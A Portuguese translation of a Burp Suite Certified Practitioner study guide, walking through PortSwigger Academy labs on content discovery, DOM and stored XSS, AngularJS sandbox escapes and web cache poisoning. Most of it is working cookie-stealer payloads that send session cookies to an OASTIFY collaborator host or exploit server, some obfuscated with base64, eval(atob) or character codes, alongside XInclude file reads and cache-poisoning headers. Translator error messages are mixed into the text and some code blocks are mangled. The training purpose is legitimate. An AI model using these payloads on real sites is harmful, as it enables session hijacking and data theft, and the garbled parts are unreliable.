
Notas de estudo práticas e walkthroughs para os laboratórios da PortSwigger Academy, abordando vulnerabilidades web, payloads, enumeração e estratégias para o exame BSCP.
Estas são as minhas notas de estudo com mais de 110 laboratórios da PortSwigger Academy.
Usei estes laboratórios para passar no exame Burp Suite Certified Practitioner 2023.
Minha qualificação BSCP.
Para mais informações, acesse a PortSwigger Academy para obter os materiais de aprendizagem mais recentes.
VARREDURA - Enumeração
Foco na Varredura
Varredura de entidades não padronizadas
FOOTHOLD - Etapa 1
Descoberta de Conteúdo
DOM-XSS
XSS Cross Site Scripting
Envenenamento de Cache Web
Cabeçalhos de Host
Contrabando de Requisições HTTP
Força bruta
Autenticação
ESCALAÇÃO DE PRIVILÉGIOS - Etapa 2
CSRF - Tomada de Conta
Redefinição de Senha
SQLi - Injeção de SQL
JWT - JSON Web Tokens
Poluição de Protótipo
Teste de API
Controle de Acesso
Endpoints de API GraphQL
CORS - Compartilhamento de Recursos entre Origens
EXFILTRAÇÃO DE DADOS - Etapa 3
XXE - Entidades XML e Injeções
SSRF - Falsificação de solicitação do lado do servidor
SSTI - Injeção de template no lado do servidor
SSPP - Poluição de Protótipo no Lado do Servidor
LFI - Travessia de caminho de arquivo
Upload de Arquivos
Desserialização
Injeção de Comandos do SO
APÊNDICE
Scripts Python
Payloads
Listas de palavras
Foco na varredura de alvos
Abordagem
Conteúdo de Treinamento Extra
Eu recomendo fazer o maior número possível de Mystery lab challenge para testar suas habilidades e reduzir o tempo que você leva para identificar as vulnerabilidades, antes de fazer o exame.
Também achei este conselho da PortSwigger sobre Refazer o exame muito informativo.
Assista CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricks para uma visão renovada do exame BSCP em 2024.
Obrigado pelo café,
\o/
Meu certificado de Burp Suite Certified Practitioner.
A enumeração das aplicações web começa com varredura inicial e direcionada em um teste com tempo limitado.
Foco na Varredura
Varredura de entidades não padronizadas
Devido ao limite de tempo apertado durante os testes ou o exame, faça a varredura de pontos de inserção definidos para solicitações específicas.

O scanner detectou a vulnerabilidade de injeção de XML no parâmetro storeId, o que levou à leitura do arquivo secreto de Carlos.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>Solicitação XInclude fora de banda, precisa de um DTD hospedado para ler o arquivo local.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
PortSwigger Lab: Descobrindo vulnerabilidades rapidamente com varredura direcionada
Varredura de estruturas de dados não padronizadas usando o recurso do Burp para escanear o ponto de inserção selecionado em busca de texto selecionado em respostas ou solicitações.

Identifique a vulnerabilidade por meio dos resultados de problemas do scanner do Burp.
Neste caso, usando o XSS identificado, roube os cookies do usuário administrador criando o payload no ponto de inserção identificado.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>Aplique URL encoding aos caracteres-chave.

>Use o cookie do usuário administrador para acessar o painel administrativo, substituindo-o na sessão atual do navegador.
[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# Acesso Inicial
# Descoberta de Conteúdo
>A enumeração do alvo começa com fuzzing de diretórios e arquivos web. Use as ferramentas de engajamento do Burp, a opção de descoberta de conteúdo para encontrar caminhos e arquivos ocultos, ou use `FFUF` para enumerar diretórios e arquivos web. Examinar o `robots.txt` ou o `sitemap.xml` pode revelar conteúdo.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Ferramenta de engajamento do Burp, descoberta de conteúdo usando minha lista de palavras compilada burp-labs-wordlist como lista de arquivos personalizada.

Examine os ramos do repositório git na cópia local baixada, usando a ferramenta
git-cola. Em seguida, selecione Desfazer último commit e extraia a senha de administrador da janela de diff.``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[PortSwigger Lab: Divulgação de informações no histórico de controle de versão](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>Sempre abra o `código-fonte` para procurar comentários de desenvolvedores que revelem arquivos ou caminhos ocultos. O exemplo abaixo leva a [desserialização de token do symphony](#deserialization).

-----
## XSS baseado em DOM
[Indicadores de XSS no DOM](#identify-dom-xss)
[XSS no DOM identificado com o DOM Invader](#dom-invader)
[XSS no DOM AngularJS](#vuln-angularjs)
[XSS no DOM document.write em select](#doc-write-location-search)
[XSS no DOM JSON.parse em mensagens web](#dom-xss-jsonparse-web-messages)
[XSS no DOM AddEventListener em URL JavaScript](#dom-xss-addeventlistener-javascript-url)
[XSS no DOM AddEventListener em mensagens de anúncios](#dom-xss-addeventlistener-ads-message)
[XSS no DOM Eval Reflected Cookie Stealer](#reflected-dom-xss)
[XSS no DOM no cookie LastviewedProduct](#dom-xss-lastviewedproduct-cookie)
### Identificar XSS no DOM
>Vulnerabilidades de XSS baseado em DOM surgem quando o JavaScript obtém dados de uma fonte controlável pelo atacante, como a URL, e passa código para um sink que suporta execução dinâmica de código.
>Teste quais caracteres permitem escapar do ponto de injeção no `código-fonte`, usando a string de fuzzer abaixo.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
Revise o
código-fontepara identificar as fontes, sumidouros ou métodos que podem levar à exploração, lista de exemplos:
Ao usar o plugin Dom Invader e definir o canary para um valor, como
domxss, ele detectará sumidouros de DOM-XSS que podem ser explorados.

A expressão AngularJS abaixo pode ser injetada na função de pesquisa quando colchetes angulares e aspas duplas são codificados em HTML. A vulnerabilidade é identificada ao notar que a string de pesquisa está envolvida em uma diretiva ng-app e que o script
/js/angular 1-7-7.jsestá incluído. Revise o código HTML para identificar a diretivang-appque informa ao AngularJS que este é o elemento raiz da aplicação AngularJS.

Payload do laboratório PortSwigger abaixo:```JavaScript {{$on.constructor('alert(1)')()}}
>[Payload de roubo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) usando `on.constructor` que pode ser colocado em iframe, hospedado em um servidor de exploração, resultando no envio do cookie de sessão da vítima para o Burp Collaborator.
>[Folha de referência do PortSwigger para cross-site scripting](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
Nota: A propriedade do cookie de sessão não deve ter a flag de segurança HttpOnly definida para que o XSS tenha êxito.

O alvo é vulnerável a DOM-XSS na função de verificação de estoque.
source codereveladocument.writeé o sink usado comlocation.searchpermitindo-nos adicionar o parâmetro de consulta storeId com um valor contendo o payload JavaScript dentro de uma instrução<select>.

Execute um teste usando o payload abaixo para identificar a injeção na requisição GET modificada, usando
">para escapar.```html /product?productId=1&storeId=fuzzer">fuzzer

>DOM XSS [payload de roubo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) em um sink `document.write` usando a fonte `location.search` dentro de um elemento `<select>`. Isso pode ser enviado à vítima via servidor de exploração em `

No final dos valores de onload do iframe há um "*", isto é para indicar que o alvo é qualquer um.
Defina um cookie de teste não seguro no navegador usando o console das ferramentas de desenvolvimento do navegador para usar durante os testes de POC XSS
payloads de roubo de cookies.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

[Laboratório PortSwigger: DOM XSS usando mensagens web e JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>DOM Invader usado para identificar e testar DOM XSS usando mensagens web

>Reproduza a post message usando o DOM Invader após alterar os dados JSON.```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

PortSwigger: Identify DOM XSS using PortSwigger DOM Invader
Ao revisar o
código-fonteda página, identificamos a chamadaaddeventlistenerpara uma mensagem web, mas há uma condiçãoifverificando se a string contémhttp/s.

O payload hospedado no servidor de exploit abaixo inclui a string
httpse consegue contornar a verificação da condiçãoif.```html

Depois que o cookie da vítima é atualizado, o log do servidor Exploit captura o valor secreto do cookie.
>Com a grande ajuda de ***ShehmeerAbidRajput***, atualizei este laboratório com o payload de roubo de cookies fornecido por ele.
[PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## Cross Site Scripting
[Recursos XSS](#xss-resources)
[Identificar tags permitidas](#identify-allowed-tags)
[Contornar tags bloqueadas](#bypass-blocked-tags)
[XSS para atribuir protocolo](#xss-assign-protocol)
[Tags personalizadas não bloqueadas](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[XSS de string refletida](#reflected-string-xss)
[Escape extra de string refletida](#reflected-string-extra-escape)
[Escape do sandbox AngularJS](#angularjs-sandbox-escape)
[Template literal de XSS](#xss-template-literal)
[XSS via JSON para EVAL](#xss-via-json-into-eval)
[XSS armazenado](#stored-xss)
[XSS DOM armazenado](#stored-dom-xss)
[XSS em upload de SVG](#xss-svg-upload)
### Recursos XSS
>Páginas de recursos XSS para consultar payloads para **tags** e **eventos**.
+ [Folha de dicas de Cross-site scripting (XSS)](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [Notas de estudo do HackTheBox CPTS sobre XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>A ferramenta CSP Evaluator verifica se a política de segurança de conteúdo está em vigor para mitigar ataques XSS. Por exemplo, se o `base-uri` estiver ausente, essa vulnerabilidade permitirá que o atacante use o método de exploração alternativo descrito em [Escalar self-XSS armazenado](#upgrade-stored-self-xss).
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>Quando o comprimento máximo do campo de entrada for de apenas 23 caracteres, use este recurso para **Tiny XSS Payloads**.
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>Defina um cookie de teste não seguro no navegador usando o console do DevTools do navegador, para usar durante testes de XSS de POC [payloads de roubo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
Payloads XSS básicos para identificar controles de filtro de segurança de aplicativos para manipular dados recebidos em solicitação HTTP.```html
I don't see any content to translate in this chunk. The input after "INPUT:" is empty. Please provide the actual Markdown content.```html
"><svg><animatetransform onbegin=alert(1)>
No content was provided in the input to translate.``` <>'"
>O envio dos payloads acima pode retornar a mensagem ***"Tag is not allowed"*** devido ao Web Application Firewall (WAF) estar bloqueando injeções.
>Em seguida, ***identifique*** as tags permitidas usando a [Metodologia da PortSwigger Academy](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).
>Codificadores e decodificadores online de URL e Base64
+ [URL Decode and Encode](https://www.urldecoder.org/)
+ [BASE64 Decode and Encode](https://www.base64encode.org/)
>Este laboratório oferece uma ótima **Metodologia** para ***identificar*** tags HTML e eventos permitidos para criar um POC XSS.
>Hospede o código **iframe** no servidor de exploit e entregue o link do exploit à vítima.```html
Os controles de aplicação exibem a mensagem, "Tag não é permitida" ao inserir payloads XSS básicos, mas descubra que a marcação SVG é permitida usando a metodologia acima. Este payload rouba meu próprio cookie de sessão como POC.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>Coloque o payload acima no servidor de exploit e insira a URL com o valor de busca em um ```iframe``` antes de entregá-lo à vítima no bloco de código abaixo.```html

PortSwigger Lab: XSS refletido com algum markup SVG permitido
#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=htmlLaboratório para testar XSS em contexto HTML sem nada codificado na função de busca. Usando este laboratório para testar o exploit Protocolo atribuível com location
javascriptidentificado pela pesquisa de XSS da PortSwigger. No payload está o%0a, que representa o caractere de nova linha ASCII.```html

[PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### Tags Personalizados não Bloqueados
>A aplicação responde com a mensagem ***"Tag not allowed"*** ao tentar inserir payloads XSS, mas se criarmos uma tag personalizada, ela é contornada.```html
<xss+id=x>#x';
Identifique se a tag personalizada acima não estiver bloqueada na função de busca, observando a resposta. Crie o payload abaixo para roubar o cookie de sessão out-of-band.```
>**Nota:** A tag personalizada com o ID ```x```, que contém um manipulador de eventos **onfocus** que aciona a função ```document.location```. O caractere **HASH** `#` no final da URL foca neste elemento assim que a página é carregada, fazendo com que o payload seja chamado. Hospede o script do payload no servidor de exploração em tags ```script``` e envie para a vítima. Abaixo está o mesmo payload, mas em formato **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

z3n3sh3ll - explicando tags personalizadas para ataques XSS
O iframe abaixo usa o caractere HASH
#no final da URL para acionar o OnHashChange, roubador de cookies XSS.```JavaScript
>Nota: se o cookie estiver protegido com a flag **HttpOnly** habilitada, o cookie não pode ser roubado usando XSS.
> O payload do PortSwigger Lab executa print.```JavaScript
Nota: Identifique a versão vulnerável do jquery 1.8.2 incluída no
source codecom a ação do seletor CSS no hashchange.

Laboratório PortSwigger: DOM XSS no sink do seletor jQuery usando um evento hashchange
Crypto-Cat: DOM XSS no sink do seletor jQuery usando um evento hashchange
Submetendo uma string de pesquisa e revisando o
source codeda página de resultados da pesquisa, a variável de string JavaScript é identificada como refletindo a string de pesquisatracker.gifnosource codecom uma variável chamadasearchTerms.```html
Usando um payload
test'payloade observe que uma aspa simples é escapada com barra invertida, impedindo a saída da string.```JavaScript
>Alterando o payload para um ladrão de cookies que entrega o token de sessão ao Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

Ao colocar este payload em
iframe, a aplicação alvo não permite que ele seja incorporado e exibe a mensagem:refused to connect.
PortSwigger Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
No exame BSCP hospede o payload abaixo no servidor de exploit dentro das tags
<script>, e a consulta de pesquisa abaixo antes de ser codificada em URL.```
>Servidor de exploit hospedando vulnerabilidade refletida de termo de pesquisa que é enviada à vítima para obter seu cookie de sessão.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
A aplicação apresentou a mensagem de erro
Tag is not allowed, e isso é contornado usando</ScRiPt >.
Veja no
source codea variável chamadasearchTerms, e ao enviar o payloadfuzzer'payload, observe que a aspa simples é escapada com barra invertida, e então envie umfuzzer\payloadpayload e identifique que a barra invertida não é escapada.``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>Usando uma única **barra invertida**, aspas simples e **ponto e vírgula**, escapamos da variável de string do JavaScript; então, usando crases para envolver o caminho ```document.location```, permitimos que o ladrão de cookies contorne a proteção da aplicação.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
Com a ajuda do Trevor, transformei isso em um payload de roubo de cookies, usando crases. Obrigado, Trevor, aqui está o passo a passo dele no YouTube XSS JavaScript String Angle Brackets Double Quotes Encoded Single

Exercício de laboratório especializado da PortSwigger usando AngularJS 1.4.4; as versões 1.x chegaram ao fim da vida útil e não são mais mantidas.
Este laboratório usa AngularJS de uma forma incomum, onde a função$evalnão está disponível e você não poderá usar nenhuma string em AngularJS.
Objetivo: realizar um ataque de cross-site scripting que escape do sandbox e execute o payload sem usar a função$eval.
Identifique o
angular.moduleno código-fonte JavaScript:

O valor da variável
key,search, é injetado no JavaScript criado dinamicamente.
Nenhum problema de segurança óbvio presente aqui. No entanto, a segurança deste código depende de como esse controller e os valores extraídos são usados no back-end.
O método
$parseavalia a expressão AngularJS$scope.query.
Usando o
¶ adicionar um segundo par chave-valor e testar o código dinâmico gerado pelo payload.

Alterando o nome do segundo par chave-valor adicionado para expression para determinar se é avaliado,
/?search=key1value&7*7=payloade o resultado matemático é 49.

A construção de um payload falha quando se usa
alert()como o nome da segunda chave, devido à forma como o AngularJS compila o código através do parser.
Sandbox do AngularJS - Veja os documentos de injeção de template no lado do cliente da PortSwigger
Referência do CheatSheet da PortSwigger para escape do Sandbox 1.4.4``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>Payload do Collaborator ***ladrão de cookies***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
Os valores decimais ASCII para cada caractere na string de payload acima, separados por vírgulas. Cada número representa o valor decimal ASCII do caractere correspondente na string de payload.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>Script Python para converter qualquer payload em valores decimais ASCIII:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

Payload de roubo de cookies em valor decimal ASCII, expressão AngularJS executada através do sandbox, a partir dos passos da solução do PortSwigger:
toString() para criar uma string sem usar aspas.charAt para toda string.orderBy.toString() para criar uma string e a propriedade do construtor de String.fromCharCode para gerar nosso payload convertendo códigos de caractere no exemplo de payload x=alert(1).charAt foi sobrescrita, o AngularJS permitirá que esse código escape do Sandbox.
PortSwigger Expert Lab: XSS refletido com escape do sandbox do AngularJS sem strings
O template literal de JavaScript é identificado pelos acentos graves ` usados para conter a string. No código alvo, identificamos que a string de pesquisa é refletida dentro de uma string de template literal.``` ${alert(document.cookie)}

>Obrigado a ***Adrián Gyurácz***, por fornecer um bypass incrível onde não consegui obter um bypass de cookie stealer que funcionasse com todos os filtros para este laboratório.
>***Adrián Gyurácz*** encontrou o seguinte artigo de pesquisa da Portswigger que levou à solução:
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### Com base no acima, o payload dele:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
Como o cookie de sessão do laboratório original tem flags de proteção, ele criou um cookie dummy de teste para prova de conceito:

após enviar o payload na função de busca, recebi um hit do ladrão de cookies:

Espero que outros achem a pesquisa dele útil, e a estou incluindo no meu guia. Vlw.
Este APP de Exame Prático da PortSwigger está executando a função de busca e o DOM Invader identifica o sink em uma função
eval(). Os resultados da busca são colocados em um tipo de conteúdo JSON.

Teste o escape dos dados
JSONe injete o payload de teste"-prompt(321)-"no conteúdo JSON.

Tentando obter o valor do nosso próprio cookie de sessão com o payload
"-alert(document.cookie)-"e uma mensagem de filtro é retornada informando"Potentially dangerous search term".
O WAF está impedindo filtros e tags de busca perigosos, então contornamos os filtros do WAF usando variáveis globais do JavaScript.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: Contorne filtros de XSS usando variáveis globais do JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
>Abaixo está o principal [payload de roubo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) antes de codificá-lo em BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
Em seguida, codifique o payload usando o valor codificado em Base64 do payload do ladrão de cookies acima.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>Teste o payload em nosso próprio cookie de sessão na função de busca.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
Detalhando as etapas de montagem do payload acima:
Esta imagem mostra o Burp Collaborator recebendo o valor do meu cookie como prova de conceito antes de configurar o payload para
Deliver exploit to victim.

URL Encode todos os caracteres deste payload e use como valor do parâmetro
/?SearchTerm=.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>Hospedar o `IFRAME` no servidor de exploração gera uma mensagem de **erro** de recusa de conexão ao alvo. Em vez disso, hospede o payload no servidor de exploração entre as tags `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

NOTA:
Deliver exploit to victimalgumas vezes se o usuário ativo não enviar uma requisição HTTP para o colaborador. Substitua o valor atual do cookie pelo cookie roubado para se passar pelo usuário ativo e prossiga para a Etapa 2 do Exame de Prática.
PortSwigger Exame de Prática - Etapa 1 - Foothold
XSS Armazenado também pode ser Blind XSS. Se o payload de alerta não disparar, veja vídeo de blind xss do NahamSec payload para a vítima clicar, exemplo:
<svg/onload=import('//EXPLOIT.net/blind_xss')>
Se a entrada armazenada estiver redirecionando a vítima que clica nos links, ela envia uma requisição para o servidor de exploit. Use o seguinte código de exemplo para identificar XSS armazenado.```HTML![]()
>As entradas de log abaixo mostram as solicitações feitas ao servidor de exploração, e a partir dos logs podemos ***identificar*** que `/img` e `/video` das tags acima foram permitidos no aplicativo e fizeram solicitações quando acessados.

>Cross site Scripting salvo no comentário de post do Blog. Este payload de Cookie Stealer envia então o cookie de sessão da vítima para os logs do servidor de exploração.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
Consulta de produtos e lojas```html ?productId=1&storeId=">
#### Post de Blog com Stored XSS
>Roubador de cookies de post de blog com Stored XSS que envia o cookie do documento para o servidor de exploração.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
O alvo abaixo possui uma vulnerabilidade de XSS armazenado na função de comentários do blog. Roube o cookie de sessão da vítima que visualiza os comentários depois que são publicados e use o cookie para se passar pela vítima.

Fetch API payload de roubo de cookies em JavaScript no comentário do post do blog.```JavaScript
>[IPPSEC YouTube usando o HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), mostrando o código JavaScript `payload.js`, como ele usa `fetch` e aprende JavaScript.
[Lab PortSwigger: Explorando cross-site scripting para roubar cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
#### Aprimore o self-XSS armazenado
>Comentário de blog com **self-XSS armazenado**, aprimorando o payload para roubar informações da vítima do DOM. A função **editar conteúdo** reflete a entrada na tag `<script>`. O token CSRF para **escrever comentário** é o mesmo da função **editar conteúdo**. O payload abaixo usa a função **escrever comentário** para fazer a vítima criar uma entrada de blog no seu próprio blog com nosso conteúdo malicioso.
>O caractere `a` é adicionado para escapar o caractere `#` do `source code` inicial da aplicação.
>O `source code` abaixo na entrada do blog é o exploit completo para roubar informações da vítima.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
Este alvo é explorado construindo uma injeção de HTML que sobrescreve uma variável chamada
share_button, veja osource codeabaixo e usa o código HTML acima. O conteúdo é refletido na página; em seguida, usando essa reflexão, é possível habilitar o redirecionamento para a página/editda vítima com o uso da tagmeta http-equivpara atualizar a página após 1 segundo, resultando em redirecionamento.
```
https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1
>Entregue o exploit enviando à vítima a URL que referencia a publicação do blog acima; isso acionará XSS como a vítima.
[intigriti - Upgrade de Self-XSS - Solução do Desafio XSS de 22 de dezembro](https://youtu.be/FowbZ8IlU7o)
>Exploit alternativo usando injeção de HTML na página de publicação do blog Edit Content, ***identificado*** usando [verificação de CSP de Recursos XSS](#xss-resources).```
<base href="https://Exploit.net">
Hospede o arquivo JS no servidor Exploit como
static/js/bootstrap.bundle.min.js, com o conteúdo:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
>O payload modificado do laboratório PortSwigger atribui a função `document.location` à variável `defaultAvatar` na próxima vez que a página for carregada, porque o site usa DOMPurify, que permite o uso do protocolo `cid:`, que não faz URLencode de aspas duplas.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
PortSwigger Lab: Explorando DOM clobbering para habilitar XSS
No
source codeJavaScript, script incluídoresources/js/loadCommentsWithVulnerableEscapeHtml.js, nós identificamos a funçãohtml.replace()dentro da função personalizadaloadComments. Ao testar payloads, vemos que a função só substitui a primeira ocorrência de<>.
```html
<>
>O payload acima é armazenado e qualquer usuário que visitar o blog de comentários terá seu cookie de sessão roubado e enviado ao colaborador.

>Payload do Laboratório PortSwigger: `<>`.
[Laboratório PortSwigger: Stored DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## Envenenamento de Cache Web
[Cabeçalho sem chave](#unkeyed-header)
[Utm_content sem chave](#unkeyed-utm_content)
[Ocultando utm_content](#cloaking-utm_content)
[Envenenar requisição ambígua](#poison-ambiguous-request)
[Envenenamento de cache com múltiplos cabeçalhos](#cache-poison-multiple-headers)
### Cabeçalho sem chave
>O alvo usa o JavaScript **tracking.js**,
>e é vulnerável ao cabeçalho **```X-Forwarded-Host```** ou **```X-Host```** que redireciona o caminho,
>permitindo o roubo de cookies por meio do envenenamento do cache.
>***Identifique*** os cabeçalhos de cache web na resposta e o script tracking.js no código-fonte da página.
>Explore a vulnerabilidade hospedando JavaScript e injetando o cabeçalho para envenenar o cache do alvo, redirecionando a vítima que o visitar.
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

Hospedando no servidor de exploração, injetando o cabeçalho
X-Forwarded-Hostna requisição, e envenenando o cache até que a vítima atinja o cache envenenado.``` /resources/js/tracking.js

>O corpo envia cookie de sessão para o serviço de colaboração.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
Continue envenenando o cache web do alvo reenviando a requisição com o cabeçalho
X-Forwarded-Host.

PortSwigger Lab: Envenenamento de cache web com um cabeçalho sem chave
Vídeo do YouTube mostrando o payload do laboratório acima em um servidor de exploração modificado para roubar o cookie da vítima quando a vítima acessa uma entrada em cache no servidor back-end. O payload é o JavaScript acima.
YouTube: Envenenamento de cache web com cabeçalho sem chave - roubador de cookies
Extensão Param Miner para identificar vulnerabilidades de cache web
O alvo é vulnerável a envenenamento de cache web porque exclui um determinado parâmetro da chave de cache. O recurso "Guess GET parameters" do Param Miner identificará o parâmetro como utm_content.
```
GET /?utm_content='/>
>O payload acima é armazenado em cache e o cookie da vítima que visita o alvo é enviado ao Burp collaborator.

[PortSwigger Lab: Envenenamento de cache web via parâmetro de consulta não chaveado](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### Cloaking de utm_content
